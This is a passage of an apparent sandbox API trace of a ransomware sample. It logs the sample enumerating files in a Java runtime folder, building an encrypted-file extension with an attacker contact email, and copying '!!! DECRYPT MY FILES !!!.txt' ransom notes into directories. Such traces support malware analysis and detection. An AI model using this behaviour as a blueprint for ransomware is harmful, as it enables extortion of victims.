cFileName="..", cAlternateFileName="")) returned 1 [0116.905] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0116.905] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", len=0x39 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 1 [0116.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 0x39 [0116.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.905] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.905] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0116.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0116.906] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8af971e, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0116.906] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0116.906] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.911] GetProcessHeap () returned 0x630000 [0116.911] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c48, Size=0x28) returned 0x699798 [0116.911] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0116.911] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll", len=0x35 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 1 [0116.911] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 0x35 [0116.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.912] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.912] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.912] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0116.912] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 1 [0116.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt") returned 0x38 [0116.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.912] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.912] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.912] GetProcessHeap () returned 0x630000 [0116.912] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699798, Size=0x2c) returned 0x6ed6428 [0116.912] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.912] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0116.952] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0116.952] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 1 [0116.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe") returned 0x35 [0116.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.953] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.953] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.953] GetProcessHeap () returned 0x630000 [0116.953] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6428, Size=0x30) returned 0x6ed6038 [0116.953] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0116.953] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 1 [0116.953] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 0x37 [0116.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.953] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.953] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.953] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0116.954] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 1 [0116.954] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll") returned 0x2e [0116.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.954] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.954] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.954] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0116.954] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 1 [0116.954] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 0x33 [0116.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.954] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.954] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.955] GetProcessHeap () returned 0x630000 [0116.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6038, Size=0x34) returned 0x6d5280 [0116.955] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0116.955] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 1 [0116.955] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll") returned 0x30 [0116.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.955] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.955] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.955] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0116.955] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 1 [0116.955] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 0x34 [0116.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.956] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.956] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.956] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0116.956] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 1 [0116.956] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll") returned 0x2e [0116.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.956] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.956] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.956] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0116.957] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 1 [0116.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 0x34 [0116.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.957] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.957] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.957] GetProcessHeap () returned 0x630000 [0116.957] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5280, Size=0x38) returned 0x6d5040 [0116.957] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0116.957] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 1 [0116.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll") returned 0x31 [0116.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.958] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.958] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.958] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, 